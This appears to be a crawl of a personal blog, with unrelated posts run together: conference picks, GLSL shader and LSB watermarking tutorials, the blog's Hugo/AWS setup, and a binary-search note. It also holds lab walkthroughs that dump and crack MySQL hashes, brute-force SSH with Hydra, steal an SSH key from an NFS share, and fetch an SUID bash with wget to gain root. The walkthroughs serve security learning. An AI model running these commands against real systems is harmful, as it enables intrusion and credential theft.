In 2026 the conferences worth your attention are the ones that answer three questions: where is the hardware going, what are attackers actually doing right now, and where are the hyperscalers taking the default infrastructure stack. The most useful sessions increasingly cut across all three. Most major US conferences offer virtual or on-demand passes at 40–50% of the in-person price; keynotes from AWS, Google, and Microsoft are typically free.

AI & Tech

In 2026, watch GTC for the inference scaling and edge deployment roadmap. Whatever NVIDIA announces there shows up in production tooling 12–18 months later. At Build, I/O, and DevDay, the signal is agent framework maturity: how much of the scaffolding developers are hand-rolling today is getting absorbed into the platform. The academic conferences (NeurIPS, ICML, ICLR) are a longer time horizon and the papers published there become commercial products in two to three years, worth tracking if you want to get ahead of the next capability wave. Note that their year links go to paper listing pages, not video playlists; recorded talks are on SlidesLive or each conference’s virtual portal.

Security

The sessions most worth your time in 2026 are about what AI is enabling on the offensive side: automated vulnerability discovery, LLM-driven social engineering at scale, and ML-based identity spoofing that bypasses static MFA. The Black Hat Arsenal track is the best early-warning signal showcasing open-source tools that will be repurposed against production systems. If you can’t attend in person, the On-Demand pass (~$1,300–$1,800) covers all recorded Briefings about a week post-event. DEF CON has a youtube playlist which is populated after the conference.

Engineering & Cloud

In 2026 the hyperscaler keynotes are where you calibrate your architecture assumptions, specifically what AWS Bedrock, Google Gemini integrations, and Azure AI are absorbing that developers currently build themselves. The security implications follow directly: whatever gets built into the platform becomes the new baseline that attackers target. The spring window (late April through late May) clusters Google Cloud Next, the SANS AI Summit, and KCD Toronto within roughly six weeks.

Canada

Toronto-accessible events where the value is physical attendance without international travel overhead. SecTor is the largest local conference for security professionals and a good place to learn about how the global threat landscape maps onto the Canadian companies. NorthSec is where you go to actually build offensive skills: the 2026 curriculum includes dedicated AI security training tracks covering practical attack and defense with ML. Video archives for Canadian events are inconsistent; check the channel links after each event.

GLSL Library

GLSL Canvas is a library that allows you to run GLSL shaders in a web environment. It makes it easy to create interactive graphics and visualizations using shader language inside a canvas element with WebGL.

https://github.com/patriciogonzalezvivo/glslCanvas

1<script src="https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js"></script>

ShaderToy -> GLSL Canvas

The original shader we’ll be using was written for ShaderToy, which uses a specific set of uniforms and functions. In GLSL Canvas, we need to adapt the code to use the u_time and u_resolution uniforms provided by the library. The main function will also be adjusted to fit the GLSL Canvas structure.

 1#define iTime u_time
 2#define iResolution vec3(u_resolution, 1.0)
 3uniform float u_time;
 4uniform vec2 u_resolution;
 5
 6//Shadertoy fragment shader main function
 7void mainImage( out vec4 fragColor, in vec2 fragCoord );
 8
 9//GLSL Canvas main function
10void main() {
11    vec4 color = vec4(0.0);
12    mainImage(color, gl_FragCoord.xy);
13    gl_FragColor = color;
14}

HTML Setup

To use GLSL Canvas, you need to include the library in your HTML file and create a canvas element where the shader will be rendered. Here’s a simple setup:

 1<script src="https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js"></script>
 2
 3<textarea id="shaderEditor">
 4    {{ GLSL shader code here }}
 5</textarea>
 6
 7<canvas id="shaderCanvas" style="display:block; width:100%; height:500px;"></canvas>
 8
 9<script>
10const canvas = document.getElementById("shaderCanvas");
11const sandbox = new GlslCanvas(canvas);
12const editor = document.getElementById("shaderEditor");
13
14function resizeCanvasToCSSSize() {
15    const displayWidth = canvas.clientWidth;
16    const displayHeight = canvas.clientHeight;
17
18    // Only update if size changed
19    if (canvas.width !== displayWidth || canvas.height !== displayHeight) {
20      canvas.width = displayWidth;
21      canvas.height = displayHeight;
22    }
23  }
24
25// Resize initially and on window resize
26resizeCanvasToCSSSize();
27sandbox.load(editor.value);
28editor.addEventListener("input", () => {
29    sandbox.load(editor.value);
30});
31</script>

Shader: Spiral

You can edit the values in the textarea below to see how they affect the shader in real-time. The shader creates a colorful spiral effect that changes over time.

I recomend focusing on the width, dis, blur, rep, mul, and ex variables to see how they affect the spiral’s appearance.

The points variable controls the number of points in the spiral.

Original Shader

https://www.shadertoy.com/view/Wct3zX

Watermarking is a technique used to embed information into an image, which can be used for various purposes such as copyright protection, authentication, or non-repudiation. In this guide, we will explore the basics of image watermarking and how you can implement it in your projects.

Why Use Watermarking?

Basic Techniques for Watermarking

1. Visible Watermarking

One of the simplest methods of watermarking is to alter the pixel values of an image. This is usually done for copyright protection or branding purposes. The watermark can be a logo, text, or any other image that is blended with the original image. This type of watermarking is immediately noticeable and can be readily removed by someone with image editing skills, but it serves as a visible deterrent against unauthorized use.

2. Least Significant Bit (LSB) Insertion

Least significant bit insertion is a subset of steganography where a hidden message is imbedded into an image to bypass detection. The simplest method involves modifying the least significant bits (LSBs) of pixel values, which allows for a more robust and imperceptible watermark.

3. Frequency Domain Manipulation

This method involves transforming the image into the frequency domain using techniques like the Discrete Cosine Transform (DCT) or Discrete Wavelet Transform (DWT). Watermarks can then be embedded in the frequency coefficients, which are not visible to the human eye.

These techniques are more complex but provide better security and robustness against attacks such as cropping, resizing, or compression. We will cover the DWT in a more advanced quide.

Least Significant Bit Watermarking

To implement the simplest form of invisible watermarking in your images, you can use the cv2 library in Python to read in the image and modify the last bits of each pixel.

 1import cv2
 2
 3def embed_lsb(image_path, message, output_path):
 4    image = cv2.imread(image_path)
 5    flat = image.flatten()
 6
 7    # Convert message to binary
 8    bits = ''.join([format(ord(i), '08b') for i in message]) + '00000000'  # Null terminator
 9    for i in range(len(bits)):
10        flat[i] = (flat[i] & ~1) | int(bits[i])  # Set LSB
11
12    watermarked = flat.reshape(image.shape)
13    cv2.imwrite(output_path, watermarked)
14
15def extract_lsb(image_path):
16    # Load image and flatten to 1D array
17    image = cv2.imread(image_path).flatten()
18    bits = ""
19    for byte in image:
20        bits += str(byte & 1)  # Get LSB
21
22        # Check every 8 bits for null terminator
23        if len(bits) % 8 == 0:
24            char = chr(int(bits[-8:], 2))
25            if char == '\x00':
26                break
27
28    # Convert full bitstring to characters (excluding null terminator)
29    message = ''.join(
30        chr(int(bits[i:i+8], 2)) for i in range(0, len(bits)-8, 8)
31    )
32    return message
33
34if __name__ == "__main__":
35
36    # Example usage
37    embed_lsb("image.png", "Secret Watermark", "output.png")
38
39    message = extract_lsb("image.png")
40    print("Extracted message:", message)
41
42    message = extract_lsb("output.png")
43    print("Extracted message:", message)

The embed_lsb function will take an image, a message, and an output path to save the watermarked image. The extract_lsb function will read the watermarked image and extract the hidden message. There are simpler was of doing this such as using a dedicated steganography library like stegano, but this example shows how you can implement it from scratch.

Stegano Code Example

 1from stegano import lsb
 2def embed_message(image_path, message, output_path):
 3    # Embed the message in the image
 4    watermarked_image = lsb.hide(image_path, message)
 5    watermarked_image.save(output_path)
 6
 7def extract_message(image_path):
 8    # Extract the message from the image
 9    return lsb.reveal(image_path)
10
11if __name__ == "__main__":
12    embed_message("image.png", "Secret Watermark", "watermarked_image.png")
13    message = extract_message("watermarked_image.png")
14    print("Extracted message:", message)

This is a much simpler way to achieve the same result and it abstracts away the details of how the LSB is manipulated. The stegano library handles the encoding and decoding of messages in images, making it easier to implement watermarking without needing to understand the underlying pixel manipulation. There are also other modules within stegano that allow for more complex watermarking techniques, such as using different color channels or even embedding multiple messages.

Watermarking Example

Reading the Watermark

To read the watermark from an image, you can reverse the process by extracting the pixel values or frequency coefficients where the watermark was embedded. This can be done using similar libraries and techniques as mentioned above.

Using the extract_lsb function

I first caught the wave of excitement over the limited release of GPT3.5 (aka ChatGPT), a language model that was surprisingly good at generating text. Back then the use case was simple, I gave it ridiculous story premises to see what it could generate. I had a great time reading these stories with friends and we’d all laugh at how funny and interesting they were. I had very little foresight as to how much things would change. I thought it would be a short term beta, with limited release and invite only access. I had no sense of how permanent it would become.

Since then my usage of ChatGPT has evolved over time, influenced by the gradual improvement of the models, and the exploration of their limits. I love it for surfacing up new ideas, writing short code snippets, and exploring hypotheticals. The versatility of ChatGPT is what keeps me coming back to it as the go-to chatbot. As long as OpenAI keeps innovating on features that enhance the already powerful language model, I expect I will keep coming back to it for most of my needs.

Copilot

Copilot works great as a basic autocomplete to help bubble up related functions that I can choose to add in my project. For planning out a software project I use other language models with reasoning advanced functions.

Hugo Static Generator

I use a static site generator called Hugo: Hugo Quick Start

 1sudo apt install hugo
 2
 3hugo new site michaelmuratov.com
 4cd michaelmuratov.com
 5
 6hugo server
 7
 8                   | EN  
 9-------------------+-----
10  Pages            |  1  
11  Paginator pages  |  0  
12  Non-page files   |  0  
13  Static files     |  1  
14  Processed images |  0  
15  Aliases          |  0  
16  Cleaned          |  0  
17
18Built in 10 ms

The site consists of three quality of life features that would be non negotiable for this kind of project.

1. GIT Version Control
2. Obsidian Rich Text Editor
3. AWS CI/CD Pipeline

Version Control

Version control is pretty important for a site like this. For one it keeps a consistent backup of my files on an external server, while giving me the freedom to modify my files offline. There are other benefits that git provides as a version control system such as reliable metrics for commit times and native CI/CD functionality for building the static site. The build at commit functionality allows me to track only Markdown file changes, which are easy to read and edit.

Text Editor

Because most of the files on this site are written in Markdown, they can be viewed and edited in nice rich text editors like Obsidian. The integration between Obsidian and Hugo doesn’t exist directly but I’ve been able to port common elements such as code snippets and call outs.

AWS Integration

Learning a cloud platform like AWS has been on my priority list this year. In addition the existence of dedicated services like AWS Amplity makes it fairly cost efficient to host the website myself and monitor spending on all my cloud services through a unified interface. AWS does fall short in terms of identifying usage metrics but I’ve augmented the website with Google Analytics tags that fills in for that gap.

My domain name is registered on Squarespace but I don’t want to use them for hosting because I find their fees too expensive for my no name blog.

Instead I set up a Hosted Zone for my domain on Amazon’s Route 53. Amazon will use its name servers to map my domain to their external IPs:

All I have to do is enter the name servers I was assigned to my Squarespace Domain Nameservers list.

This setup allows me to own my domains on Squarespace and manage them from AWS.

The hosting itself is defined by a direct relationship between AWS Amplify and your version control system in this case Github.

Every time I make a commit on Github the CI/CD pipeline syncs the changes to the AWS instance and runs a prebuild command to generate the static files.

The version control, rich text editor and cloud deployment make this blog setup seamless, cost efficient and salable with minimal setup.

Theme and Visual System

This site started on Hugo Simple and has now diverged into my own custom theme (themes/muratov) with project-specific layouts and styling.

The front page is organized into:

• A Latest Feature card
• A curated Pinned section
• Explore by Track (Builds, Guides, Notes)
• Recent Activity and Recently Updated
• A dedicated Archive entry point

Two status-oriented UI components near the top:

• In Progress: the current focus and target date
• Momentum: weekly publishing/edit counts and an 8-week sparkline trend

Giscus comments were added to make it easier for readers to engage with the content.

Metadata

Each post has associated metadata to inform Hugo on how to display the page and what category to group it under.

 1---
 2title: How this Blog Works
 3date: 2025-04-22
 4lastmod: 2025-04-20
 5tags:
 6  - Web
 7draft: false
 8image: blog_structure.png
 9layout: blog-post
10---

This format is very flexible and it lets me specify the file structure that the site will use to generate the page, directly in the Markdown file.

All layout files are customizable with the Hugo styling language to order page elements in unique configurations such as individual post layouts, lists of links to other posts, etc.

Analytics

To track usage on this website I made use of Google Analytics, which the most powerful set of tools for web monitoring and is completely free. Every page I want to track needs to contain the following Google Tag:

 1<!-- Google tag (gtag.js) -->
 2
 3<script async src="https://www.googletagmanager.com/gtag/js?id=G-Y9QJ4EB3PT"></script>
 4
 5<script>
 6
 7window.dataLayer = window.dataLayer || [];
 8
 9function gtag(){dataLayer.push(arguments);}
10
11gtag('js', new Date());
12  
13
14gtag('config', 'G-Y9QJ4EB3PT');
15
16</script>

This tag is included in the baseof.html template of every single page that Hugo generates:

1{{ partial "google-analytics.html" . }}

Ensuring that every individual blog post and site page will feature a tag that links usage data to Google’s server and my dashboard.

These days there’s countless outlets for self-expression, whether through Facebook posts, Instagram stories, X threads, Substack articles, or YouTube videos. The list of social media platforms is so long that it would get tiresome to name them all.

But despite the diversity of options, there seems to be a common meta emerging across every single platform; catering to the most generic demographic of average daily visitors. It can be disheartening to create niche content for a select audience while surface-level channels gorge on millions of viewers. This would be alright on its own if not for the platforms themselves encouraging this type of behavior.

There’s almost no room for a custom experience on social media platforms anymore. Ever since algorithmic recommendations took off, the platforms presenting our content stripped and sanitized themselves to make it easier for the algorithms to do their job. I’m sure this was done partially for safety reasons, and to ensure a mostly uniform viewer experience, the same way you might find comfort in visiting a chain restaurant where everything feels familiar. But it does clamp down on the type of content that can be shared.

In any case, the lack of control over the platform I’m using has always made me reluctant to contribute the necessary time and dedication to grow out my digital library. Making and hosting my own website has always been my preferred option. I’ve owned my name domain since 2018 with plans to develop it in conjunction with getting my CS degree. I’ve wrestled with how to approach it for years…indecision has left me with nothing to show for it.

If I could go back and change one thing, I would go back and shake enough sense into myself to start writing things down. But if I couldn’t start then, I might as well start now.

These articles could be created, reworded, moved around, or deleted at any moment. This isn’t a website anymore it’s my personal dumping ground. The more life it has, the better.

Of course there’s a reason why almost nobody does this. It would take up a lot of time and it would make no money. Probably lose money in the long run. Counter to what they might say, people like having a recommendation algorithm that serves them the best content of the day.

Good thing I’m not making this site for people.

Initial Reconnaissance

The first step in exploiting a MySQL database is identifying whether the target machine has an exposed MySQL port. By default, MySQL runs on port 3306, but this can be customized by the system administrator, so it’s important to scan for common open ports. Typically you can attempt to connect to the MySQL server using common credentials or perform a brute force attack if no rate-limiting is in place.

Example Nmap Scan: (NFS Scan highlighted)

 1root@ip-10-10-22-136:~# IP=10.10.190.97
 2root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt $IP
 3
 4Starting Nmap 7.60 ( https://nmap.org ) at 2024-10-06 02:34 BST
 5Nmap scan report for ip-10-10-244-95.eu-west-1.compute.internal (10.10.244.95)
 6Host is up (0.0012s latency).
 7Not shown: 998 closed ports
 8PORT     STATE SERVICE
 922/tcp   open  ssh
103306/tcp open  mysql
11MAC Address: 02:59:70:A7:8E:95 (Unknown)
12
13Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds

Using stolen credentials

For this box we already know the credentials of the MySQL server username: root and password:password obtained previously and we’ll be using this to gain further access on the server. Once connected and authenticated using the credentials we can enumerate the database to gather more information about the system.

1root@ip-10-10-22-136:~# username=root
2root@ip-10-10-22-136:~#  mysql -h $IP -u $username -p
3Enter password: password

Enumeration

We’ll be using modules from Metasploit to extract information from the database. First thing we’ll do is submit an authenticated request to show the databases present on the MySQL server. We can do this by setting the RHOSTS, USERNAME, PASSWORD to the ip and credentials of the server and by initiating the SQL show databases query command.

 1msfconsole
 2msf6 > use auxiliary/admin/mysql/mysql_sql
 3msf6 auxiliary(admin/mysql/mysql_sql) > set RHOSTS 10.10.244.95
 4msf6 auxiliary(admin/mysql/mysql_sql) > set USERNAME root
 5msf6 auxiliary(admin/mysql/mysql_sql) > set PASSWORD password
 6msf6 auxiliary(admin/mysql/mysql_sql) > set SQL show databases
 7msf6 auxiliary(admin/mysql/mysql_sql) > options
 8
 9Module options (auxiliary/admin/mysql/mysql_sql):
10
11   Name  Current Setting  Required  Description
12   ----  ---------------  --------  -----------
13   SQL   show databases   yes       The SQL to execute.
14
15
16   Used when connecting via an existing SESSION:
17
18   Name     Current Setting  Required  Description
19   ----     ---------------  --------  -----------
20   SESSION                   no        The session to run this module on
21
22
23   Used when making a new connection via RHOSTS:
24
25   Name      Current Setting  Required  Description
26   ----      ---------------  --------  -----------
27   PASSWORD  password         no        The password for the specified username
28   RHOSTS    10.10.244.95     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
29   RPORT     3306             no        The target port (TCP)
30   USERNAME  root             no        The username to authenticate as
31
32msf6 auxiliary(admin/mysql/mysql_sql) > run
33
34[*] Running module against 10.10.244.95
35
36[*] 10.10.244.95:3306 - Sending statement: 'show databases'...
37[*] 10.10.244.95:3306 -  | information_schema |
38[*] 10.10.244.95:3306 -  | mysql |
39[*] 10.10.244.95:3306 -  | performance_schema |
40[*] 10.10.244.95:3306 -  | sys |
41[*] Auxiliary module execution completed

Reading MySQL Database

We can further analyze the structure of the MySQL database by dumping the schema of all tables using the Metasploit module mysql_schemadump. This module allows us to retrieve the database schema, which includes detailed information about the structure of the databases, tables, columns, data types, and relationships between different tables within the MySQL server. This information can be critical for targeted exploitation. For example, knowing the names and structures of the tables enables us to focus on tables that likely contain sensitive information, such as users, passwords, sessions, or admin.

 1msf6 > use auxiliary/admin/mysql/mysql_schemadump
 2msf6 auxiliary(admin/mysql/mysql_schemadump) > set RHOSTS 10.10.244.95
 3msf6 auxiliary(admin/mysql/mysql_schemadump) > set USERNAME root
 4msf6 auxiliary(admin/mysql/mysql_schemadump) > set PASSWORD password
 5msf6 auxiliary(admin/mysql/mysql_schemadump) > options
 6
 7Module options (auxiliary/scanner/mysql/mysql_schemadump):
 8
 9   Name             Current Setting  Required  Description
10   ----             ---------------  --------  -----------
11   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
12
13
14   Used when connecting via an existing SESSION:
15
16   Name     Current Setting  Required  Description
17   ----     ---------------  --------  -----------
18   SESSION                   no        The session to run this module on
19
20
21   Used when making a new connection via RHOSTS:
22
23   Name      Current Setting  Required  Description
24   ----      ---------------  --------  -----------
25   PASSWORD  password         no        The password for the specified username
26   RHOSTS    10.10.244.95     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
27   RPORT     3306             no        The target port (TCP)
28   THREADS   1                yes       The number of concurrent threads (maxone per host)
29   USERNAME  root             no        The username to authenticate as
30
31msf6 auxiliary(admin/mysql/mysql_schemadump) > run
32
33- TableName: x$waits_global_by_latency
34    Columns:
35    - ColumnName: events
36      ColumnType: varchar(128)
37    - ColumnName: total
38      ColumnType: bigint(20) unsigned
39    - ColumnName: total_latency
40      ColumnType: bigint(20) unsigned
41    - ColumnName: avg_latency
42      ColumnType: bigint(20) unsigned
43    - ColumnName: max_latency
44      ColumnType: bigint(20) unsigned
45
46[*] 10.10.244.95:3306 - Scanned 1 of 1 hosts (100% complete)
47[*] Auxiliary module execution completed

MySQL Hashdump

We will also use the mysql_hashdump module which is a powerful tool used to extract password hashes from a MySQL server, which can then be leveraged for further attacks. By using this module, attackers can retrieve hashed password values stored within the MySQL user table, typically located in the user table. In this case we were able to identify the entry carl with its corresponding password hash.

 1msf6 > auxiliary/scanner/mysql/mysql_hashdump
 2msf6 auxiliary(admin/mysql/mysql_hashdump) > set RHOSTS 10.10.244.95
 3msf6 auxiliary(admin/mysql/mysql_hashdump) > set USERNAME root
 4msf6 auxiliary(admin/mysql/mysql_hashdump) > set PASSWORD password
 5msf6 auxiliary(admin/mysql/mysql_hashdump) > options
 6
 7Module options (auxiliary/scanner/mysql/mysql_hashdump):
 8
 9   Used when connecting via an existing SESSION:
10
11   Name     Current Setting  Required  Description
12   ----     ---------------  --------  -----------
13   SESSION                   no        The session to run this module on
14
15
16   Used when making a new connection via RHOSTS:
17
18   Name      Current Setting  Required  Description
19   ----      ---------------  --------  -----------
20   PASSWORD  password         no        The password for the specified username
21   RHOSTS    10.10.244.95     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
22   RPORT     3306             no        The target port (TCP)
23   THREADS   1                yes       The number of concurrent threads (max one per host)
24   USERNAME  root             no        The username to authenticate as
25
26
27msf6 auxiliary(admin/mysql/mysql_hashdump) > run
28
29[+] 10.10.244.95:3306 - Saving HashString as Loot: root:
30[+] 10.10.244.95:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
31[+] 10.10.244.95:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
32[+] 10.10.244.95:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
33[+] 10.10.244.95:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
34[+] 10.10.244.95:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
35[*] 10.10.244.95:3306 - Scanned 1 of 1 hosts (100% complete)
36[*] Auxiliary module execution completed

Cracking the Hash

We can use John the Ripper, a popular password-cracking tool, to reverse-engineer the hash into its original ASCII format. John the Ripper works by taking the hashed password and comparing it against a large set of potential plaintext passwords, which are hashed in the same algorithm. If it finds a match, it reveals the original password.

1root@ip-10-10-22-136:~# echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
2root@ip-10-10-22-136:~# john hash.txt
3
4Proceeding with wordlist:/opt/john/password.lst
5Proceeding with incremental:ASCII
6doggie           (carl)
71g 0:00:00:02 DONE 3/3 (2024-10-06 02:57) 0.4566g/s 1043Kp/s 1043Kc/s 1043KC/s doggie..doggia

Accessing the MySQL Server

Having access to the username and password allows us to SSH directly into the server and gain access to its resources directly.

1root@ip-10-10-22-136:~# ssh carl@10.10.244.95
2carl@10.10.244.95's password: doggie
3
4Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)
5carl@polomysql:~$

Takeaways

• Credential-Based Exploitation: Gaining access to MySQL using known credentials (like root with a weak password) can lead to control over the database and server, emphasizing the importance of strong, unique credentials and limiting root access.

• Metasploit Modules as Recon Tools: Metasploit’s mysql_schemadump and mysql_hashdump modules are effective for looking into database structure and extracting sensitive data like password hashes.

• Importance of Salting: Salting passwords before hashing significantly strengthens security by making brute force and rainbow table attacks impractical, as each password hash becomes unique, removing the effectiveness of tools like John the Ripper. This highlights the importance of using salts in password storage to mitigate hash-cracking attacks.

SMTP Intrusion

Simple Mail Transfer Protocol aka SMTP allows for the process by which mail clients send mail to each other. If we were to compare the email service to the postal delivery service, SMTP would be the courier, delivering mail from the post office to the recipient’s address, except in this case every address is also its own post office. The courier tends to know important information about its sender so we’ll be trying to get as much information out of it as we can. Thankfully the SMTP service is very receptive to questions so we will be able to pry valuable insights from it in order to compromise its server.

Identifying the SMTP Service

The first step of identifying possible attack vectors is running a network Nmap scan to see what ports are open on services that we know how to abuse. In this case we’re looking for port 25 exposing the SMTP service to the internet.

Example Nmap Scan: (NFS Scan highlighted)

 1root@ip-10-10-22-136:~# IP=10.10.190.97
 2root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt $IP
 3
 4Nmap scan report for ip-10-10-190-97.eu-west-1.compute.internal (10.10.190.97)
 5Host is up (0.00070s latency).
 6Not shown: 998 closed ports
 7PORT   STATE SERVICE
 822/tcp open  ssh
 925/tcp open  smtp
10MAC Address: 02:87:B2:A3:3F:17 (Unknown)
11# Nmap done at Sun Oct  6 01:22:55 2024 -- 1 IP address (1 host up) scanned in 1.68 seconds

Getting the SMTP server metadata

Now that we’ve identified a way in, we can use a pre made SMTP attack script to extract as much valuable metadata we can using the Metasploit smtp_version script. In this case we’re able to extract the smtp server’s domain name but not much else that’s useful. We’ll try a more aggressive script next.

 1msfconsole
 2msf6 > use auxiliary/scanner/smtp/smtp_version
 3msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.10.22.136
 4
 5
 6Module options (auxiliary/scanner/smtp/smtp_version):
 7
 8Name     Current Setting  Required  Description
 9----     ---------------  --------  -----------
10RHOSTS   10.10.22.136     yes       The target host(s), see https://docs.metasploit.com/docs/using-me
11                                    tasploit/basics/using-metasploit.html
12RPORT    25               yes       The target port (TCP)
13THREADS  1                yes       The number of concurrent threads (max one per host)
14
15msf6 auxiliary(scanner/smtp/smtp_version) > run
16
17[+] 10.10.190.97:25       - 10.10.190.97:25 SMTP 220 polosmtp.home ESMTP Postfix (Ubuntu)\x0d\x0a
18[*] 10.10.190.97:25       - Scanned 1 of 1 hosts (100% complete)
19[*] Auxiliary module execution completed

Finding the SMTP server exposed usernames

We’ll try to brute force our SMTP courier to get it to tell us who it expects us to be talking to. We’ll keep asking it whether it recognizes the name we give it with a enumeration brute force attack and hopefully we’ll get a match. In this case we were able to tell that the SMTP knows the user “administrator” which gives us valuable insight into a possible user on the system. It is especially exciting to confirm the existence of an administrator user because compromising their account can lead to unrestricted access to their entire server!

 1msf6 auxiliary(scanner/smtp/smtp_version) > use /auxiliary/scanner/smtp/smtp_enum
 2msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.190.97
 3msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
 4msf6 auxiliary(scanner/smtp/smtp_enum) > run
 5
 6
 7[*] 10.10.190.97:25       - 10.10.190.97:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
 8[+] 10.10.190.97:25       - 10.10.190.97:25 Users found: administrator
 9[*] 10.10.190.97:25       - Scanned 1 of 1 hosts (100% complete)
10[*] Auxiliary module execution completed

Running Hydra to Brute Force the password

This isn’t a very nice way to break into a system but we’ll continue to use the brute force enumeration approach along with the username we found to try to log into the server via ssh. We’ll use the hydra tool to enumerate different passwords until we get one that works.

Luckily there was a direct match and we found a password for the administrator user, if only it was always this simple 😊

1hydra -t 16 -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.190.97 ssh
2
3[22][ssh] host: 10.10.190.97   login: administrator   password: alejandro
4[STATUS] attack finished for 10.10.190.97 (waiting for children to complete tests)
51 of 1 target successfully completed, 1 valid password found

Logging into the server with credentials

Equipped with a username and password we can easily SSH into the server unless it has other protections in place.

1ssh administrator@10.10.190.97
2administrator@10.10.190.97's password: alejandro
3
4Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)
5
6administrator@polosmtp:~$

Gaining Access Through NFS

Initial Reconnaissance

The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.

Example Nmap Scan: (NFS Scan highlighted)

 1root@ip-10-10-71-105:~# IP=10.10.190.97
 2root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt $IP
 3
 4PORT      STATE SERVICE  VERSION
 522/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 6111/tcp   open  rpcbind  2-4 (RPC #100000)
 72049/tcp  open  nfs_acl  3   (RPC #100227)
 832969/tcp open  mountd   1-3 (RPC #100005)
 933463/tcp open  mountd   1-3 (RPC #100005)
1038233/tcp open  nlockmgr 1-4 (RPC #100021)
1143597/tcp open  mountd   1-3 (RPC #100005)
12
13MAC Address: 02:AE:30:CF:78:25 (Unknown)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Read data files from: /usr/bin/../share/nmap
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 75.34 seconds
19        Raw packets sent: 128591 (5.658MB) | Rcvd: 128591 (5.144MB)

Mounting the Shared Drive

Remotely mounting the server’s NFS share from our attacker machine gains us access to the server’s file system, with its directories and files accessible directly on our device. This allows us to explore the server’s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.

1root@ip-10-10-71-105:~# sudo mount -t nfs $IP:home /tmp/mount/ -nolock

SSH Key Extraction

Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user’s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.

1root@ip-10-10-71-105:~# cd /tmp/mount/cappucino/.ssh
2root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
3root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cd ~
4root@ip-10-10-71-105:~# chmod 600 id_rsa
5root@ip-10-10-71-105:~# cp id_rsa /$local_folder

SSH Login with Stolen Key

After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user’s account through SSH, giving us direct access to a user account on the server.

1root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@$IP

Super User Privilege Escalation via SUID Exploit

Uploading Malicious Script

Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.

1root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash

SUID Permission Modification

After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.

1root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
2root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
3    -rwsr-sr-x 1 root root 1113504 Oct  4 04:42 bash

Escalating to Superuser Privileges

Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.

1cappucino@polonfs:~$ ./bash -p
2bash-4.4# whoami
3> root

Takeaways

• NFS Security Misconfigurations: Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.

• SUID Misconfigurations: SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.

This fear is completely irrational, and I always kick myself for feeling this way because binary search is beautiful. Given a sorted list you can find the index of any value in log(N) time because you get to cut your search space in half with every lookup.

Precisely this operation allows sorted lists to be very space and time efficient at solving problems requiring lookups as well as determining how many entries are greater or less than your target.

Now if you want to take advantage of your sorted lists you may be tempted to write your own binary search and insert functions like I’ve been doing so far and inevitably it takes a few tries to actually get it working right. Thankfully there’s a built in library that already does the same thing, in a single line and a lot faster too.

Bisect

The bisect library is a tiny one, but it does two things and it does them well; search and insert.

For search we have bisect_left and bisect_right which perform binary search to find where to insert a value right before our target on either the left or right. In the case of bisect_right it will overshoot by one index to show you where you should insert your new value to maintain order.

list: [1,2,3,4,5], target = 4

• bisect_left: [1,2,3, _ , 4,5] index= 3
• bisect_right: [1,2,3,4, _ ,5] index= 3+1

For insertion we have insort_left and insort_right which perform binary insert to actually insert our value on either the left or the right of our target and manipulates our list inplace.

